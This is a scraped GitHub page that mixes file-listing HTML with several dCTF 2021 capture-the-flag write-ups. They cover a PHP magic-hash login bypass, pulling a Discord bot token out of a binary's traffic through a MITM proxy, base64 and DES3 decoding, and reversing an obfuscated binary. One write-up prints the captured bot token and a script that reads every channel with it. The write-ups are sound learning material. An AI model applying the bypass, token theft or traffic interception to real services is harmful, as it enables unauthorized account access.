class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ivanchubb/CTF-Writeups/tree-commit/24a55e8f215622492a39f1cd47aa9f76460a4864/2021/dCTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/ivanchubb/CTF-Writeups/file-list/main/2021/dCTF"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>0. Readme.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dragon.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Encrypted the flag i have.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Julius ancient script.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Sanity Check.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Simple Web.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Strong Password.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# Very Secure Website ![Pasted image 20210516145338](https://user-images.githubusercontent.com/70921512/118423895-76402200-b69c-11eb-8335-9eba799a46a4.png) The source code provided was:``` ``` Upon looking up the hash for the username, we can find online that it has already been dehashed 1000 times, and it's value is `admin`. This one was hard, specially because it was the first challenge I tried and I don't know PHP. I looked at the source code for what felt like were 20 minutes straight until I realized that the implementation was tight, there was nothing I could inject into it (atleast not with my level of knowledge) that would allow me to purposefully evaluate the if statement to true. The only thing that popped up to me was the hash for the password. The fact that in a sequence that long, there was only one letter stood out a LOT. # Solution Eventually I found out about how PHP handles loose comparison `==` vs tight comparison `===`: With enough googling you will find that the hash does only have one letter for a reason. With loose comparison, it parses `0e132798983807237937411964085731` as a float number (scientific notation, anyone?) Which means that while comparing it to something else, it will evaluate to `0`. All we need to do now is provide a value that when hashed, will return a hash which also resembles `0`. Luckily, some people have done the work for us: https://github.com/spaze/hashes/blob/master/tiger128%2C4.md Now just pick any value, and this is what the result would look like: `else if (hash("tiger128,4", "LnFwjYqB") == "0e132798983807237937411964085731")` which would be converted to: `"0e087005190940152635463034029558" == "0e132798983807237937411964085731")` which gets converted to... `"0" == "0"` Which evaluates to TRUE. And we input that to get the flag: `dctf{It’s_magic._I_ain’t_gotta_explain_shit.}`
# Discord PingPong Oh god this one was really annoying to set up Running the executable returns: ```Successfully connected to Discord APILast message in #general is: Welcome to our secret server! Only trusted bots and users have access to the secret channels. Our secret plans have been moved from here to a secret channel.Bot is now running. Press CTRL-C to exit.``` Sending anything through stdin wouldn't yield anything. running `file` on it: `discordbot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=_ZEAdEO-wvSQGBQYhkGM/xFUNbqa5yDNs4HrN4WQF/IfIgpWbUNMnt11lPcn7W/sNa0sC3hsaXC9dymZEeD, not stripped` So yeah, golang. Searching google for a Go discord bot returns: `https://github.com/bwmarrin/discordgo` And it contains the pingpong example: `https://github.com/bwmarrin/discordgo/blob/master/examples/pingpong/main.go` Which also matches this string in the source:`Bot is now running. Press CTRL-C to exit.` However not much of it is useful.. any passed arguments to the bot are ignored. # Intended solution Apparently, what was needed to complete the challenge was just to run `strings` on the discordbot file and extract the discord api token, and then get the flag from the secret discord server. # How I worked it out So I had originally run `strings` on the file, but it returned so much data and sifting through it would have been hell.. Having some knowledge of Golang requests, I knew that by default the net/http library respects the environment variables for proxies. Knowing this, launch burp and set the environment variables in my terminal for the HTTP and HTTPS proxies to `127.0.0.1:8080`, and added the Burp Suite CA certificate to `/usr/local/share/ca-certificates` Helpful links for this:`https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntuhttps://stackoverflow.com/questions/51845690/how-to-program-go-to-use-a-proxy-when-using-a-custom-transport` After that, you can see the requests through Burp, you just run the discordbot, get the token, and retrieve the flag from one of the channels using the discord api. Sorry, I didn't take screenshots, and it was annoying to set up again :/
# This one is really basic The answer to life, the universe, and everything. # Solution So we are given a cipher.txt file which is a file with thousands upon thousands of characters It's encoded with base64 recursively. We tried to use CyberChef or the basecrack repo on github. However none of them would work. The hint was that the b64 encoded string started with Vm0, searching for b64 Vm0 revealed that for some reason, if you base64 encode a string enough times it will begin to always start with the same string... This meant that it wasn't switching with other base types such as base32 or base58. So I just wrote the following script:```import base64# original = open("cipher.txt", r) with open("cipher.txt", "r") as f: b64 = base64.b64decode(f.read()).strip() for i in range(42): b64 = base64.b64decode(b64) print(b64)``` eventually it gives an exception and crashes, but good enough, it gives us the flag: `dctf{Th1s_l00ks_4_lot_sm4ll3r_th4n_1t_d1d}`
Bize verilen adresi nc ile dinledigimizde cok uzun 2 sayiyi 1-2 saniyede carpmamizi istiyordu. Manuel olarak yapamayacagim icin ilk challange'i script yazarak hallettim. ```python URL = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io"port = 9999 r = remote(URL,port) r.recvuntil("second.").decode('utf-8') text = r.recvuntil("=").decode('utf-8').strip().split(' ') number1 = int(text[0])number2 = int(text[2]) r.sendline(str(number1*number2)) ``` Bize ikinci challange'i veriyor. Bu challange'ta bize flag'in sifrelenmis halini veriyor. Verilen python kodunda nasil sifrelendigini goruyoruz. Ayni sekilde decode flag'e ulasiyoruz. ```python key = str(int(time())).zfill(16).encode("utf-8") r.recvuntil('be yours!\n') encrypted = unhexlify(r.recvline().strip())cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")decrypted = cipher.decrypt(encrypted) r.sendline(decrypted) ```
Originally Posted at [https://blog.abifog.com/dragonsec-dctf-2021-discord-pingpong-writeup/](https://blog.abifog.com/dragonsec-dctf-2021-discord-pingpong-writeup/) ### The Challenge We were given a binary which, on being executed said: _"Last message in #general is: Welcome to our secret server! Only trusted bots and users have access to the secret channels. Our secret plans have been moved from here to a secret channel. Bot is now running. Press CTRL-C to exit."_ Running `strings` and `file` on it told me it was written in Go. ```shelldiscordbot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,Go BuildID=_ZEAdEO-wvSQGBQYhkGM/xFUNbqa5yDNs4HrN4WQF/IfIgpWbUNMnt11lPcn7W/sNa0sC3hsaXC9dymZEeD, not stripped``` ### Extracting The Token It was a web challenge so I decided reverse engineering was not the answer. Packet capture wouldn't reveal anything else either since requests would be SSL encrypted. I thought I might be able to solve it if I could see all its http traffic. So I setup [mitmproxy](https://mitmproxy.org/) and added its root certificates to `/etc/pki/ca-trust/source/anchors` and then ran `sudo update-ca-trust` to enable them. (works this way for Fedora/RHEL family distributions) This needs to be done because otherwise applications using the proxy would throw untrusted certificate error. Instead of mitmproxy, you can also use any other http proxy like Owasp Zap or Burpsuite. Now the problem was forcing the go binary to use my proxy. I thought of putting it in a container and then proxying all its traffic. I knew podman had a `--http-proxy` option but upon reading the documentation further, I realized all it did was create an environment variable and any program running inside the container may choose to ignore it. There is probably a way to pass all container traffic through a proxy, but it involved fighting with iptables so I decided against it. Next thing I thought of was [proxychains](https://github.com/rofl0r/proxychains-ng). Its forces any TCP connection made by any given application to follow through a proxy even if the application does not have inbuilt support for proxies. It works by hooking network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the connections through SOCKS4a/5 or HTTP proxies. Unfortunately this approach does not work in programs written in Go. Go does not use libc and programs written in Go are statically linked not dynamically linked. In the issue tracker of proxychains, I came across this (relatively) obscure program called [graftcp](https://github.com/hmgle/graftcp). graftcp works in a different way than proxychains and is able to work against statically linked programs as well. This is what I needed. There were no publicly available compiled builds of graftcp, so I had to compile it myself. Then: ```shell# in one terminal# mitmproxy is running on 127.0.0.1:8080./graftcp-local/graftcp-local -http_proxy 127.0.0.1:8080 -select_proxy_mode only_http_proxy # in another terminal (discordbot is the name of the provided binary)./graftcp -n discordbot # now discordbot will use that proxy even if its dev never included proxy support``` Now all discordbot traffic was going through my mitmproxy. I found the `Authorization: Bot ODM4ODY3MDA4MTI3ODkzNTQ1.YJBVyA.zTQk10ZIQpMfT_Evi00sAkt5KIA` header in mitmproxy logs. ### Getting The Flag This was simple. ```pythonimport discord class MyClient(discord.Client): async def on_ready(self): print('Logged on as', self.user) for guild in client.guilds: for channel in guild.text_channels: # print all messages in all channels async for message in channel.history(limit=200): print(message.content) # since other teams had sent their greeting messages in the channel, I decided to send mine as well # try: # await channel.send('Hi from the Gungan Grand Army !') # except: # pass async def on_message(self, message): # don't respond to ourselves if message.author == self.user: return print(message.content) client = MyClient()client.run('ODM4ODY3MDA4MTI3ODkzNTQ1.YJBVyA.zTQk10ZIQpMfT_Evi00sAkt5KIA') ``` Got the flag dctf{7h3_R0b0t_Upr151ng_15_NEAR!}
# Layers Can you break my tiny little box? Attachments:* [layers](./layers) ## SolutionThe binary is LLVM obfuscated... IDA decompilation shows it like this...```c while ( 1 ) { while ( i == 0xA57D3848 ) { /// Code } if ( i != 0xA5AA2438 ) break; ++b; i = 0x39ABA8E6; } if ( i != 0xBD3CC7E5 ) break; c = 0; i = 0xF100B3F1; } if ( i != 0xC69A2A67 ) break; v4 = 0x6968BCED; if ( a < 32 ) v4 = 0xBD3CC7E5; i = v4; } if ( i != 0xCF365A10 ) break; i = 0x120F462B; } if ( i != 0xF100B3F1 )``` Basically it's a like a jump table, it is comparing to a value, if equal jumps to a offset, easier to read in disassembly...``` 0x401492: mov eax,DWORD PTR [rbp-0x35c] 0x401498: sub eax,0x140af898 0x40149d: mov DWORD PTR [rbp-0x3b8],eax 0x4014a3: je 0x401ba5 0x4014a9: jmp 0x4014ae 0x4014ae: mov eax,DWORD PTR [rbp-0x35c] 0x4014b4: sub eax,0x15223c70 0x4014b9: mov DWORD PTR [rbp-0x3bc],eax 0x4014bf: je 0x401d6b 0x4014c5: jmp 0x4014ca 0x4014ca: mov eax,DWORD PTR [rbp-0x35c] 0x4014d0: sub eax,0x263f9e70 0x4014d5: mov DWORD PTR [rbp-0x3c0],eax 0x4014db: je 0x4019e7 0x4014e1: jmp 0x4014e6 0x4014e6: mov eax,DWORD PTR [rbp-0x35c] 0x4014ec: sub eax,0x28b41c13 0x4014f1: mov DWORD PTR [rbp-0x3c4],eax 0x4014f7: je 0x4017c4 0x4014fd: jmp 0x401502``` To parse it I used a gdb script to break at the offsets of `je` and print the `rbp-0x35c`. The output gives a flow of the program. Then I used a python parser to parse the `rbp-0x35c` values to the IDA decompilation (regex FTW). Clearing the loops and the obfuscations, we get ```c seed = sub_400E40(flag); srand(seed); for(int j =0; j < 32; j++) v33[j] = rand(); ptr = malloc(32); v27 = 16 - (strlen(flag) & 0xF); for(int v26; v26 < v27; v26++) sprintf(flag, "%s%c", flag, v27) for(int v25 = 0; v25 < strlen(flag) / 16; v25++) { memset(ptr, 0, 0x20uLL); sub_403EC0(&flag[16 * v25], v33, ptr, 0x20u); for(int v24 = 0; v24 < 0x10; v24++) v32[16 * v25 + v24] = ptr[v24]; } memset(v23, 0, 0x09); memset(v22, 0, 0x11); memset(v21, 0, 0xC8); for(int v20 = 0; v20 < 0x10; v20++) v22[v20] = rand(); for(int v19 = 0; v19 < strlen(v32) / 8; v19++) { memset(v23, 0, 0x08); __isoc99_sscanf(&v32[8 * v19], "%8s", v23); sub_4008F0(v23, v22); sprintf(v21, "%s%s", v21, v23); } // Check v21 with byte_606090 for(k = 0; k < 48; k++) dword_6060C4 \|= byte_606090[k] ^ v21[k];``` There are 3 functions called, I used the technique above to understood the code flow. Full decompiled script [here](./encrypt.c) Parser and gdb scripts [here](./Analysis) ### Decryption - The sum of chars of the flag is used as seed of srand - 32 byte key is generated by rand (key1) - Flag is padded to multiple of 16 bytes - 16 blocks of flag are encrypted (Serpent Cipher) - 16 byte key is generated by rand (key2) - 8 blocks of serpent encrypted is again ecnrypted (TEA Encryption) - The result is compared with hardcoded values. So we bruteforce the seed and decrypt, script [here](./Solve/decrypt.c) ## Flag> `flag{_a1f040be800d4dd9a2b9a7d2b8f2be31_}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" 